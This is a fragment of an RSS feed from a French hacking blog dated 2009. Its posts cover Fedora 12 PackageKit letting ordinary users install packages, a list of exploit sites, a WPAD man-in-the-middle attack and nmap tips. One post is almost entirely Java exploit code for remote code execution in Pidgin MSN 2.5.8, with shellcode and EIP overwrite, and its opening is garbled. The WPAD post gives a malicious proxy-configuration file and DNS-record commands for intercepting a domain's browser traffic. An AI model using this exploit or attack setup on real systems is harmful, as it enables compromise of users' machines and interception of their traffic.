<img src="http://feeds.feedburner.com/~r/serphacker/~4/JD6XZHkuYlA" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://serphacker.com/structured-exception-handler.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		<feedburner:origLink>http://serphacker.com/structured-exception-handler.html</feedburner:origLink></item>
		<item>
		<title>Fedora12 + PackageKit : Insecure (ou pas)</title>
		<link>http://feedproxy.google.com/~r/serphacker/~3/KuIzsGNcf58/fedora12-packagekit-insecure-ou-pas.html</link>
		<comments>http://serphacker.com/fedora12-packagekit-insecure-ou-pas.html#comments</comments>
		<pubDate>Thu, 19 Nov 2009 09:38:07 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Hacking]]></category>

		<guid isPermaLink="false">http://www.indahax.com/?p=391</guid>
		<description><![CDATA[La nouvelle distribution Fedora 12 vient de sortir. Elle nous arrive avec une nouvelle fonctionnalité/faille qui fait pas mal de bruit chez les fédoriens en ce moment : PackageKit. Cet outil permet à un utilisateur non privilégié d&#8217;installer des packages &#8230; <a href="http://serphacker.com/fedora12-packagekit-insecure-ou-pas.html">Lire la suite <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p><a href="http://serphacker.com/wp-content/uploads/2009/11/logo_fedora.png"><img class="size-full wp-image-673 alignleft" title="logo_fedora" src="http://serphacker.com/wp-content/uploads/2009/11/logo_fedora.png" alt="" width="128" height="128" /></a>La nouvelle distribution Fedora 12 vient de sortir. Elle nous arrive avec une nouvelle <em>fonctionnalité/faille</em> qui fait <a href="https://www.redhat.com/archives/fedora-devel-list/2009-November/msg01083.html">pas mal de bruit</a> chez les fédoriens en ce moment : <strong>PackageKit</strong>. Cet outil permet à un utilisateur non privilégié d&#8217;installer des packages sur la machine. Alors, <a href="https://bugzilla.redhat.com/show_bug.cgi?id=534047">Faille ou Fonctionnalité</a> ?</p>
<p>Regardez plutôt comment ça marche : <span id="more-391"></span></p>
<p>Voici une commande que j&#8217;exécute avec un compte non privilégié dans une console <strong>lancé via l&#8217;inteface graphique</strong> :</p>
<pre lang="text">[pierre@localhost ~]$ id
uid=500(pierre) gid=500(pierre) groups=500(pierre) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[pierre@localhost ~]$ whereis samba
samba:
[pierre@localhost ~]$ pkcon install samba
Simulating install            [=========================]
Installing packages           [=========================]
Getting information           [=========================]
Resolving dependencies        [=========================]
The following packages have to be installed:
 samba-common-3.4.2-47.fc12.i686	Files used by both Samba servers and clients
Proceed with changes? [N/y]   [=========================]
Installing                    [=========================]
Waiting for authentication    [=========================]
Resolving dependencies        [=========================]
Downloading packages          [=========================]
Testing changes               [=========================]
Installing packages           [=========================]
Scanning applications         [=========================]
[pierre@localhost ~]$ whereis samba
samba: /etc/samba /usr/lib/samba /usr/share/man/man7/samba.7.gz</pre>
<p>En voyant ça, on pourrait se dire que cela pose des problèmes de sécurité et d&#8217;administration&#8230; Un simple utilisateur pourrait installer des logiciels avec des failles de sécurité, écraser, modifier des fichiers de configuration et surtout d&#8217;installer des fichiers <strong>suid root potentiellement vulnérables</strong> (encore faut il trouver LE package). D&#8217;ailleurs, sur les mailing list on peut lire plein de choses sympathiques, dont beaucoup dans le genre : <strong>FEDORA 12 REMOTE ROOT EXPLOIT</strong>, mais sans preuve de concept (oui tout de suite, ça devient beaucoup plus compliqué).</p>
<p>Avant de s&#8217;alarmer, il faut relativiser :</p>
<ul>
<li>Cette commande n&#8217;est utilisable qu&#8217;en local (graphique ou console). Si un pirate compromet un compte via SSH ou trouve une faille dans votre serveur Web et exécute des commandes via l&#8217;utilisateur Apache : <strong>il ne pourra pas installer de logiciels à partir des dépôts.</strong></li>
<li>Par défaut, seul les packages du repo <strong>signés par Fedora</strong> sont installables, or, Fedora les tient à jour, il faudrait donc <strong>un 0-day pour rooter le serveur</strong> (ce qui complique <strong>beaucoup</strong> la chose).</li>
<li>J&#8217;ai remarqué en installant samba, que le service n&#8217;était pas lancé par défaut, <strong>il est donc impossible de lancer directement un service vulnérable via cette commande</strong> (à confirmer).</li>
<li>Et enfin, Fedora c&#8217;est plutôt une distribution de test (2 ou 3 nouvelles versions / an), de bureautique et pas trop utilisé en prod, ils ont intégré ce package afin de simplifier la vie des utilisateurs.</li>
</ul>
<p>La commande pour <strong>désactiver packagekit</strong> est la suivante :</p>
<pre lang="text">pklalockdown --lockdown org.freedesktop.packagekit.package-install</pre>
<p>En conclusion, même si un Linuxien élite réussit à trouver un trick pour rooter le serveur via PackageSite, l&#8217;impact sera <strong>très limité</strong>.</p>
<p>Par contre, si ça peut vous rassurer, il est nécessaire d&#8217;avoir le mot de passe root pour désinstaller des package :)</p>
<img src="http://feeds.feedburner.com/~r/serphacker/~4/KuIzsGNcf58" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://serphacker.com/fedora12-packagekit-insecure-ou-pas.html/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		<feedburner:origLink>http://serphacker.com/fedora12-packagekit-insecure-ou-pas.html</feedburner:origLink></item>
		<item>
		<title>Milw0rm est mort, où trouver des exploits ?</title>
		<link>http://feedproxy.google.com/~r/serphacker/~3/DSUxf4l8tkg/milw0rm-is-dead-exploit.html</link>
		<comments>http://serphacker.com/milw0rm-is-dead-exploit.html#comments</comments>
		<pubDate>Wed, 18 Nov 2009 10:13:10 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Hacking]]></category>

		<guid isPermaLink="false">http://www.indahax.com/?p=360</guid>
		<description><![CDATA[Milw0rm n&#8217;est plus mis à jour depuis fin septembre, d&#8217;ailleurs on ne sait pas trop ce que fait str0ke, le webmaster du site en question, qui ne s&#8217;est pas prononcé là-dessus. Milw0rm était la référence en matière d&#8217;exploit. Un exploit &#8230; <a href="http://serphacker.com/milw0rm-is-dead-exploit.html">Lire la suite <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p><center><a href="http://serphacker.com/wp-content/uploads/2009/11/milw0rm.jpg"><img class="aligncenter  wp-image-670" title="milw0rm" src="http://serphacker.com/wp-content/uploads/2009/11/milw0rm.jpg" alt="" width="445" height="71" /></a></center>Milw0rm n&#8217;est plus mis à jour depuis fin septembre, d&#8217;ailleurs on ne sait pas trop ce que fait <a href="http://twitter.com/str0ke">str0ke</a>, le webmaster du site en question, qui ne s&#8217;est pas prononcé là-dessus. <strong>Milw0rm était la référence en matière d&#8217;exploit</strong>.<br />
<span id="more-360"></span><br />
Un exploit publié sur ce site était automatiquement diffusé vers de nombreux sites relatifs à la sécurité informatique. Hormis <a href="http://exploits.offensive-security.com/">Offensive Security</a>, peu de prétendants se sont présentés pour prendre la relève de milw0rm (Pourtant, il y avait gros à jouer en terme de référencement Web).</p>
<p>Heureusement, milw0rm n&#8217;est pas l&#8217;unique site recensant des exploits, voici une petite liste de sites et de frameworks toujours à jour, que j&#8217;ai pu glaner ici et là au fil du temps:</p>
<ul>
<li><a href="http://exploits.offensive-security.com/">Offensive security</a> : Le tout nouveau clone de milw0rm, espérons que ses créateurs puissent tenir la cadence.</li>
<li><a href="http://www.metasploit.com/framework/">Metasploit</a> : On ne le présente plus, principalement orienté système et réseaux, il contient peu d&#8217;exploits web. svn update régulier indispensable pour le tenir à jour.</li>
<li><a href="http://www.securityfocus.com/vulnerabilities">Security Focus</a> : Il s&#8217;agit plus d&#8217;une base de vulnérabilités que d&#8217;une liste d&#8217;exploits, cependant les exploits y restent nombreux.</li>
<li><a href="http://www.packetstormsecurity.org/exploits20.html">Packet Storm Security</a> : Packetstorm est principalement connu pour ses petits scripts/tools de hacking mais le site tient également une base d&#8217;exploit et un fil RSS dédié à celle-ci.</li>
<li><a href="http://sebug.net/">sebug</a> : J&#8217;ai découvert ce site hier, pas mal d&#8217;exploits dessus, mais aussi beaucoup de vulns.</li>
<li><a href="http://securityreason.com/exploit_alert/">Security Reason</a> : Un site avec plusieurs flux RSS, dont un dédié aux derniers exploits. Ils ont d&#8217;ailleurs publié récemment un exploit <a href="http://securityreason.com/achievement_securityalert/61">bypass openbase_dir php</a> drôlement sympathique :).</li>
<li><a href="http://www.securityfocus.com/archive/1">Bugtraq</a> : Une mailing list, elle est intégrée au fil RSS de securityfocus on y retrouve principalement des annonces de correctifs de la part des éditeurs, mais il y a parfois des exploits.</li>
<li><a href="http://seclists.org/fulldisclosure/">Full Disclosure</a> : Encore une mailing list, cette fois-ci avec beaucoup de trolls et quelques exploits 0day de temps en temps. Il y a parfois tellement de trolls que l&#8217;on peut passer à coté de ces petites perles :).</li>
</ul>
<p>On peut ajouter à cette liste l&#8217;<a href="http://osvdb.org/">Open Source Vulnerability Database</a>, le <a href="http://cve.mitre.org/">Common Vulnerabilities Exposures</a> et la <a href="http://nvd.nist.gov/">National Vulnerability Database</a> qui recensent toutes les vulnérabilités existantes des logiciels et parfois des liens vers des exploits.</p>
<p>Bien entendu cette liste n&#8217;est pas exhaustive, si vous connaissez d&#8217;autres sites <strong>qui valent le coup</strong> n&#8217;hésitez pas à les signaler en commentaire.</p>
<img src="http://feeds.feedburner.com/~r/serphacker/~4/DSUxf4l8tkg" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://serphacker.com/milw0rm-is-dead-exploit.html/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		<feedburner:origLink>http://serphacker.com/milw0rm-is-dead-exploit.html</feedburner:origLink></item>
		<item>
		<title>Exploit Pidgin MSN 2.5.8 exécution de code à distance</title>
		<link>http://feedproxy.google.com/~r/serphacker/~3/efxK8xcibCQ/exploit-pidgin-msn-2-5-8-execution-de-code-a-distance.html</link>
		<comments>http://serphacker.com/exploit-pidgin-msn-2-5-8-execution-de-code-a-distance.html#comments</comments>
		<pubDate>Sat, 14 Nov 2009 15:48:46 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Hacking]]></category>

		<guid isPermaLink="false">http://www.indahax.com/?p=351</guid>
		<description><![CDATA[/* * Pidgin MSN &#62; 8); payload[shellcode.length + 2] = (byte)((neweip &#38; 0x00FF0000) &#62;&#62; 16); payload[shellcode.length + 3] = (byte)((neweip &#38; 0xFF000000) &#62;&#62; 24); } public void start() { messenger = MsnMessengerFactory.createMsnMessenger(login,password); messenger.getOwner().setInitStatus(MsnUserStatus.ONLINE); messenger.setLogIncoming(false); messenger.setLogOutgoing(false); initMessenger(messenger); messenger.login(); } protected void &#8230; <a href="http://serphacker.com/exploit-pidgin-msn-2-5-8-execution-de-code-a-distance.html">Lire la suite <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p><a href="http://serphacker.com/wp-content/uploads/2009/11/pidgin.png"><img class="aligncenter size-full wp-image-667" title="pidgin" src="http://serphacker.com/wp-content/uploads/2009/11/pidgin.png" alt="" width="179" height="179" /></a><span id="more-351"></span></p>
<pre lang="java">/*
* Pidgin MSN &gt; 8);
       payload[shellcode.length + 2] = (byte)((neweip &amp; 0x00FF0000) &gt;&gt; 16);
       payload[shellcode.length + 3] = (byte)((neweip &amp; 0xFF000000) &gt;&gt; 24);
   }

   public void start() {
       messenger = MsnMessengerFactory.createMsnMessenger(login,password);
       messenger.getOwner().setInitStatus(MsnUserStatus.ONLINE);

       messenger.setLogIncoming(false);
       messenger.setLogOutgoing(false);

       initMessenger(messenger);
       messenger.login();
   }

   protected void initMessenger(MsnMessenger messenger) {

   messenger.addContactListListener(new MsnContactListAdapter() {

           public void contactListInitCompleted(MsnMessenger messenger) {

               final Object id = new Object();

               messenger.addSwitchboardListener(new MsnSwitchboardAdapter() {

                   public void switchboardStarted(MsnSwitchboard switchboard) {

                       if (id != switchboard.getAttachment())
                           return;

                       switchboard.inviteContact(Email.parseStr(target));
                   }

                   public void contactJoinSwitchboard(MsnSwitchboard switchboard, MsnContact contact) {
                       if (id != switchboard.getAttachment())
                           return;

                       MsnP2PSlpMessage msg = new MsnP2PSlpMessage();
                       msg.setIdentifier(NumberUtils.getIntRandom());
                       msg.setSessionId(session_id);
                       msg.setOffset(0);
                       msg.setTotalLength(totallength);
                       msg.setCurrentLength(totallength);

                       // This flag create a bogus MsnSlpPacket in pidgin memory with a buffer pointing to null
                       // We'll use this buffer to rewrite memory in the stack
                       msg.setFlag(0x1000020);

                       msg.setP2PDest(target);

                       switchboard.sendMessage(msg);

                       System.out.println("First packet sent, waiting for the ACK");

                   }

                   public void switchboardClosed(MsnSwitchboard switchboard) {
                       System.out.println("switchboardClosed");
                       switchboard.getMessenger().removeSwitchboardListener(this);
                   }

                   public void contactLeaveSwitchboard(MsnSwitchboard switchboard, MsnContact contact){
                       System.out.println("contactLeaveSwitchboard");
                   }
               });
               messenger.newSwitchboard(id);
           }
       });

       messenger.addMessageListener(new MsnMessageAdapter(){

           public void p2pMessageReceived(MsnSwitchboard switchboard,MsnP2PMessage message,MsnContact contact) {

               //We receive the ACK of our first packet with the ID of the new bogus packet
               message.getIdentifier();

               MsnP2PDataMessage msg = new MsnP2PDataMessage(session_id, message.getIdentifier(), neweip,
                       payload.length, payload, target);

               switchboard.sendMessage(msg);
               System.out.println("ACK received &amp;&amp; Payload sent !");
               System.out.println("Exploit OK ! CTRL+C to quit");

           }
       });

       messenger.addMessengerListener(new MsnMessengerAdapter() {

           public void loginCompleted(MsnMessenger messenger) {
               System.out.println(messenger.getOwner().getEmail() + " login");
           }

           public void logout(MsnMessenger messenger) {
               System.out.println(messenger.getOwner().getEmail() + " logout");
           }

           public void exceptionCaught(MsnMessenger messenger,
                   Throwable throwable) {
               System.out.println("caught exception: " + throwable);
           }
       });

   }
}</pre>
<img src="http://feeds.feedburner.com/~r/serphacker/~4/efxK8xcibCQ" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://serphacker.com/exploit-pidgin-msn-2-5-8-execution-de-code-a-distance.html/feed</wfw:commentRss>
		<slash:comments>5</slash:comments>
		<feedburner:origLink>http://serphacker.com/exploit-pidgin-msn-2-5-8-execution-de-code-a-distance.html</feedburner:origLink></item>
		<item>
		<title>WPAD MITM Attack</title>
		<link>http://feedproxy.google.com/~r/serphacker/~3/oqhbvXV9UAI/wpad-mitm-attack.html</link>
		<comments>http://serphacker.com/wpad-mitm-attack.html#comments</comments>
		<pubDate>Wed, 25 Mar 2009 00:27:40 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Hacking]]></category>

		<guid isPermaLink="false">http://www.indahax.com/?p=303</guid>
		<description><![CDATA[Il y a peu de temps, Microsoft a publié le correctif ms09-008 qui corrige/désactive la faille/fonctionnalité WPAD. Je vais vous expliquer comment il est possible de réaliser une attaque de type Man In The Middle sur les navigateurs Internet Explorer &#8230; <a href="http://serphacker.com/wpad-mitm-attack.html">Lire la suite <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p><a href="http://serphacker.com/wp-content/uploads/2009/03/wpad.png"><img class="alignleft size-full wp-image-665" title="wpad" src="http://serphacker.com/wp-content/uploads/2009/03/wpad.png" alt="" width="330" height="229" /></a>Il y a peu de temps, Microsoft a publié le correctif ms09-008 qui <em>corrige/désactive</em> la <em>faille/fonctionnalité</em> WPAD. Je vais vous expliquer comment il est possible de réaliser une attaque de type Man In The Middle sur les navigateurs Internet Explorer d&#8217;un domaine via l&#8217;utilisation de la fonctionnalité WPAD.</p>
<p><span id="more-303"></span></p>
<ul>
<li>
<h3><span style="text-decoration: underline;">WPAD et DNS</span></h3>
</li>
</ul>
<p>Dans une configuration par défaut, le serveur DNS d&#8217;un domaine fait assez confiance aux machines et aux utilisateurs de la forêt pour les autoriser à ajouter un enregistrement au sein de la zone du domaine. Cela signifie qu&#8217;un utilisateur ou une machine du domaine peut associer un nom (<strong>inclus dans la hiérarchie domaine</strong>) à n&#8217;importe quelle ip.</p>
<p>Si le domaine est mondomaine.local, une machine ne peut ajouter l&#8217;enregistrement banque.com, par contre elle peut ajouter pc1.mondomaine.local .</p>
<p>Il est également <strong>impossible d&#8217;écraser un enregistrement qui ne vous appartient pas</strong>. Les enregistrements sont des objets, ils sont détenus par des utilisateurs et possèdent des droits d&#8217;accès.</p>
<p>Les noms de machine <strong>WPAD</strong> et <strong>ISATAP</strong> sont particulièrement intéressants. Il est possible de les utiliser afin de <strong>mener des attaques de type Man In The Middle</strong>. ISATAP sert de tunnel ipv6 over ipv4. WPAD est la machine qui détient le fichier de configuration automatique du proxy pour les navigateurs MSIE, nous allons nous concentrer sur cette dernière.</p>
<p>Lorsque les navigateurs Internet Explorer du domaine sont configurés de manière à détecter automatiquement les paramètres de connexions, ils vont chercher un serveur nommé WPAD pour y récupérer un <strong>fichier de configuration qui va déterminer quel proxy utiliser</strong>. S&#8217;ils ne trouvent pas ce serveur, ils se connecteront directement à Internet.</p>
<p>Si un attaquant réussit à usurper le nom de ce serveur, il pourra proposer son fichier de configuration et <strong>forcer les utilisateurs à utiliser le proxy de son choix</strong>.</p>
<p><em>Note : Il existe un autre moyen pour configurer automatiquement le proxy d&#8217;un navigateur via le protocole DHCP. Il s&#8217;agit d&#8217;une autre fonctionnalité, ici nous nous concentrerons sur l&#8217;attaque via l&#8217;utilisation d&#8217;un enregistrement DNS.</em></p>
<ul>
<li>
<h3><span style="text-decoration: underline;">Mise en place de l&#8217;attaque</span></h3>
</li>
</ul>
<p>Pour réaliser cette attaque, le nom WPAD ne doit pas déjà être enregistré sur le serveur DNS (nous ne disposons pas des droits nécessaires pour l&#8217;écraser).</p>
<p><span style="text-decoration: underline;">Mettre en place le fichier de configuration automatique du proxy</span><br />
Le fichier de configuration doit être en place sur le serveur HTTP de la machine WPAD. Il doit être mis à la racine sous le nom de <code>wpad.dat</code> et doit contenir l&#8217;adresse ip du proxy de l&#8217;attaquant. Voici sa structure :</p>
<pre lang="text">function FindProxyForUrl(url, host){

	return "PROXY 192.168.10.14:8080";

}</pre>
<p><span style="text-decoration: underline;">Créer l&#8217;enregistrement WPAD</span><br />
Si l&#8217;on possède un compte administrateur local sur une machine du domaine, il faut renommer cette dernière en WPAD. L&#8217;association du nom WPAD ip de la machine devrait s&#8217;enregistrer automatiquement dans le serveur DNS (<a href="http://support.microsoft.com/kb/816592#3">via le protocole DHCP</a>). Si ce n&#8217;est pas le cas, il faut utiliser la commande : <code>ipconfig /registerdns</code>.</p>
<p>Si l&#8217;on possède un compte utilisateur sur le domaine, on peut ajouter l&#8217;enregistrement WPAD à partir de n&#8217;importe quelle machine du domaine. L&#8217;avantage de procéder avec cette méthode est que l&#8217;enregistrement pourra pointer vers n&#8217;importe quelle ip. Pour cela on utilise <a href="http://www.tarasco.org/security/dnsfun/">dnsfun</a>.</p>
<pre lang="text">C:Documents and Settingsdev1Bureaudnsfun&gt;dnsfun.exe -q wpad
 Microsoft Dynamic DNS Updates - Proof of Concept
 http://www.514.es - (c) 2007 Andres Tarasco Acu±a
[+] Gathering Credentials..
[+] Query Information for host wpad...
[-] Record not found

C:Documents and Settingsdev1Bureaudnsfun&gt;dnsfun.exe -c wpad.tp3.local  -u 19
2.168.10.14
 Microsoft Dynamic DNS Updates - Proof of Concept
 http://www.514.es - (c) 2007 Andres Tarasco Acu±a
[+] Gathering Credentials..
[+] Creating DNS A Record for wpad.tp3.local (192.168.10.14)
[+] Host Created. Rechecking Record...
[+] Host wpad.tp3.local resolved as 192.168.10.14

C:Documents and Settingsdev1Bureaudnsfun&gt;dnsfun.exe -q wpad
 Microsoft Dynamic DNS Updates - Proof of Concept
 http://www.514.es - (c) 2007 Andres Tarasco Acu±a
[+] Gathering Credentials..
[+] Query Information for host wpad...
[+] Host wpad.tp3.local resolved as 192.168.10.14</pre>
<p>Le propriétaire de l&#8217;enregistrement DNS sera différent en fonction de la méthode utilisée : avec la première méthode, le compte machine WPAD$ sera le propriétaire, avec la deuxième, c&#8217;est l&#8217;utilisateur qui sera le propriétaire de l&#8217;enregistrement.</p>
<ul>
<li>
<h3><span style="text-decoration: underline;">Le patch ms09-008</span></h3>
</li>
</ul>
<p>La publication du patch ms09-008 a fait couler beaucoup d&#8217;encre, <a href="http://blog.ncircle.com/blogs/vert/archives/2009/03/functionality_versus_security.html">selon certaines personnes</a>, le patch en question ne corrigerait pas totalement la vulnérabilité. Microsoft <a href="http://blogs.technet.com/srd/archive/2009/03/13/ms09-008-dns-and-wins-server-security-update-in-more-detail.aspx">dément</a> et considère l&#8217;enregistrement automatique du nom WPAD comme une fonctionnalité, non comme une vulnérabilité.</p>
<p><strong>Le patch a pour effet de désactiver la fonctionnalité WPAD si elle n&#8217;est pas utilisée.</strong></p>
<p>Lors de l&#8217;application du patch, ce dernier va détecter si un enregistrement WPAD (ou ISATAP) est déjà présent dans le serveur DNS. Si aucun enregistrement n&#8217;est présent, le patch va créer une clef de registre qui va avoir pour effet d&#8217;empêcher la résolution du nom WPAD.</p>
<p>Cela signifie que, si un administrateur (ou un pirate) ajoute un enregistrement WPAD après l&#8217;application du patch, il devra également supprimer la clef de registre bloquant la résolution WPAD. Sinon le nom ne sera pas résolu.</p>
<p>Si le nom WPAD est déjà présent dans le serveur DNS lors de l&#8217;application du correctif, le patch ne bloque pas la résolution du nom. Cela est dû au fait que le correctif ne peut pas déterminer de lui-même si l&#8217;enregistrement en question est légitime ou non.</p>
<p>Il est vrai qu&#8217;une fonctionnalité permettant à un utilisateur lambda d&#8217;associer le nom WPAD à n&#8217;importe quelle adresse ip laisse à désirer, on aurait préféré un patch interdisant l&#8217;enregistrement automatique du nom WPAD ou ISATAP.</p>
<img src="http://feeds.feedburner.com/~r/serphacker/~4/oqhbvXV9UAI" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://serphacker.com/wpad-mitm-attack.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		<feedburner:origLink>http://serphacker.com/wpad-mitm-attack.html</feedburner:origLink></item>
		<item>
		<title>Nmap haxor</title>
		<link>http://feedproxy.google.com/~r/serphacker/~3/ibcmBcPccUE/nmap-haxor.html</link>
		<comments>http://serphacker.com/nmap-haxor.html#comments</comments>
		<pubDate>Sun, 15 Mar 2009 17:31:03 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Hacking]]></category>

		<guid isPermaLink="false">http://www.indahax.com/?p=208</guid>
		<description><![CDATA[Nmap propose beaucoup d&#8217;options, parmi ces dernières, de nombreuses sont inutiles lors d&#8217;un test d&#8217;intrusion ( fragmentation, manipulation barbare des flags TCP, attaque zombie, FTP Bounces&#8230; ). Cet article traitera les options avancées réellement utiles et les pièges a éviter &#8230; <a href="http://serphacker.com/nmap-haxor.html">Lire la suite <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p><a href="http://serphacker.com/wp-content/uploads/2009/03/nmap_haxor.png"><img class="alignleft size-full wp-image-663" title="nmap_haxor" src="http://serphacker.com/wp-content/uploads/2009/03/nmap_haxor.png" alt="" width="200" height="155" /></a>Nmap propose beaucoup d&#8217;options, parmi ces dernières, de nombreuses sont inutiles lors d&#8217;un test d&#8217;intrusion ( fragmentation, manipulation barbare des flags TCP, attaque zombie, FTP Bounces&#8230; ). Cet article traitera les options avancées réellement utiles et les pièges a éviter lorsque l&#8217;on utilise nmap.</p>
<p><span id="more-208"></span></p>
<ul>
<li>
<h3><span style="text-decoration: underline;"><strong>Exécuter nmap en root</strong></span><strong></strong></h3>
</li>
</ul>
<p>A la base, on pourrait croire que la seule raison valable pour exécuter nmap en root est pour profiter du scan SYN -sS plus rapide et plus discret que le scan connect -sC. En réalité, il existe une autre option que l’on utilise très souvent avec nmap et qui nécessite des <strong>droits privilégiés</strong> pour fonctionner efficacement: <strong>le ping -sP</strong> .</p>
<p>Lorsque l’on effectue un ping -sP en root, nmap va envoyer un paquet TCP SYN sur le port 80, puis un paquet ICMP “echo request”. Si la cible répond à un des deux paquets, elle sera considérée online.</p>
<p>Cependant, si utilisateur classique effectue un -sP, seul un paquet TCP SYN sera envoyé, pas de ping ICMP. Pour peu que le firewall drop les paquets vers le port 80, et on ne détectera pas l’hôte !</p>
<p>Il y a encore un autre cas où le ping ICMP n&#8217;est pas effectué lors d&#8217;un scan, si l&#8217;on spécifie l&#8217;option -PU ou -PS (options indiquant les ports UDP/TCP à utiliser pour le ping) alors il faut explicitement spécifier l&#8217;option -PE pour envoyer un ping ICMP.</p>
<ul>
<li>
<h3><span style="text-decoration: underline;"><strong>Gagner du temps lors des scans</strong></span><strong></strong></h3>
</li>
</ul>
<p><span style="text-decoration: underline;">Utiliser les options -PU/-PS/-PE plutôt qu&#8217;un scan -PN/-P0</span></p>
<p>L&#8217;option -PN effectue un scan de port en considérant que la cible est online, même si elle n&#8217;a pas répondu au ping. Le simple fait de scanner un réseau /24 sur 1000 ports en -PN est déjà très long.</p>
<p>Une alternative pourrait être de pinger la cible sur une dizaine, voire une vingtaine de ports très courants, puis déclencher un scan sur les 1000 ports seulement si au moins un des ports a répondu au ping. Par exemple :</p>
<pre lang="text">root@hacktop:~# nmap -PS21-23,25,80,135-139,443 -PU53,68,161 -sU -sS --top-ports 1000 10.0.0.0/24 --reason

Interesting ports on 10.0.0.13:
Not shown: 1991 closed ports
Reason: 996 resets and 995 port-unreaches
PORT     STATE         SERVICE      REASON
135/tcp  open          msrpc        syn-ack
139/tcp  open          netbios-ssn  syn-ack
445/tcp  open          microsoft-ds syn-ack
912/tcp  open          unknown      syn-ack
123/udp  open|filtered ntp          no-response
137/udp  open|filtered netbios-ns   no-response
138/udp  open|filtered netbios-dgm  no-response
445/udp  open|filtered microsoft-ds no-response
1900/udp open|filtered upnp         no-response
MAC Address: 11:22:33:44:55:66 (Fake Computer)</pre>
<p>Cette commande regarde si au moins un des ports TCP 21-23,25,80,135-139,443 (<em>-PS</em>) ou un des ports UDP 53,68,161 (<em>-PU</em>) est ouvert. Si c&#8217;est le cas, alors on scan les 1000 ports TCP (<em>-sS</em>) et les 1000 ports UDP (<em>-sU</em>) les plus fréquents (<em>&#8211;top-ports</em>).</p>
<p><span style="text-decoration: underline;">Attention à l&#8217;option -F : </span></p>
<p>Dans la version stable actuelle de nmap (4.76), <strong>l&#8217;option Fast -F n&#8217;optimise pas vraiment la vitesse du scan de ports</strong>, cette option est uniquement relative au nombre de ports scannés. Par défaut nmap scan 1650 ports, avec l&#8217;option -F vous scannerez les ports contenus dans nmap-services,soit plus de 1200 ports, ce qui ne fait pas une grosse différence.</p>
<p>Utilisez plutôt la commande <strong>&#8211;top-ports 100</strong> qui scannera les 100 ports les plus courants. (A noter que dans la version beta actuelle 4.85, l&#8217;option -F est égale à un &#8211;top-ports 100 ).</p>
<p>Pour avoir une idée des ports les plus fréquents selon nmap :</p>
<pre lang="text">pierz@hacktop:~$ sort -r -k3 /usr/local/share/nmap/nmap-services  | egrep -v '^#' | grep tcp  | head
http                80/tcp  0.484143        # World Wide Web HTTP
telnet              23/tcp  0.221265
https               443/tcp 0.208669        # secure http (SSL)
ftp                  21/tcp  0.197667        # File Transfer [Control]
ssh                  22/tcp  0.182286        # Secure Shell Login
smtp                25/tcp  0.131314        # Simple Mail Transfer
ms-term-serv    3389/tcp        0.083904        # Microsoft Remote Display Protocol
pop3               110/tcp 0.077142        # PostOffice V.3
microsoft-ds     445/tcp 0.056944        # SMB directly over IP
netbios-ssn      139/tcp 0.050809        # NETBIOS Session Service</pre>
<p><span style="text-decoration: underline;">Enlever la résolution des noms :</span></p>
<p>L&#8217;option <strong>-n permet d&#8217;éviter de faire des requêtes DNS PTR</strong>, on peut gagner beaucoup de temps si on effectue un simple ping sur une plage d&#8217;adresse d&#8217;ip, par exemple sur une plage /24 :</p>
<div class="wp_syntax">
<div class="code">
<pre class="text" style="font-family: monospace;">root@hacktop:~# nmap -sP 10.0.0.0/24

Starting Nmap 4.85BETA3 ( http://nmap.org ) at 2009-03-15 13:30 CET
Host 10.0.0.1 appears to be up.
Host 10.0.0.10 appears to be up.
MAC Address: 11:22:33:44:55:66 (VMware)
Host 10.0.0.13 appears to be up.
MAC Address: 11:22:33:44:55:67 (FakeComputer)
Nmap done: 256 IP addresses (3 hosts up) scanned in <span style="color: red;">28.44 seconds</span></pre>
</div>
</div>
<div class="wp_syntax">
<div class="code">
<pre class="text" style="font-family: monospace;">root@hacktop:~# nmap -n -sP 10.0.0.0/24

Starting Nmap 4.85BETA3 ( http://nmap.org ) at 2009-03-15 13:33 CET
Host 10.0.0.1 appears to be up.
Host 10.0.0.10 appears to be up.
MAC Address: 11:22:33:44:55:66 (VMware)
Host 10.0.0.13 appears to be up.
MAC Address: 11:22:33:44:55:67 (Fake Computer)
Nmap done: 256 IP addresses (3 hosts up) scanned in <span style="color: red;">2.44 seconds.</span></pre>
</div>
</div>
<p><span style="text-decoration: underline;">Attention à l&#8217;option &#8211; -host-timeout : </span></p>
<p>L&#8217;option <strong>- -host-timeout</strong>, cette option ne règle pas le timeout d&#8217;un paquet, mais <strong>le temps maximum à passer sur un hôte lors d&#8217;un scan</strong>.</p>
<p><span style="text-decoration: underline;">Régler finement le timeout :</span></p>
<p>Il est intéressant de <strong>régler le timeout de nmap, en particulier lors des scans effectués en -PN ou -P0</strong>. Il y a de nombreuses options pour régler finement tous ces paramètres, mais je ne vous conseille pas d&#8217;y toucher directement.</p>
<p>Je vous recommande plutôt de vous limiter à <strong>l&#8217;option -T</strong> . Elle permet de choisir un template parmi 5 qui règle l&#8217;ensemble des options concernant la vitesse du scan.</p>
<p>Par défaut nmap effectue un scan -T3, si on utilise ce template, les options suivantes seront réglées de cette façon :</p>
<ul>
<li style="list-style-type: disc;">Le timeout d&#8217;un paquet est fixé entre 100ms et 10000ms. ( ce qui peut être long).</li>
<li style="list-style-type: disc;">Les paquets qui timeouts sont renvoyés entre 1 et 10 fois.</li>
</ul>
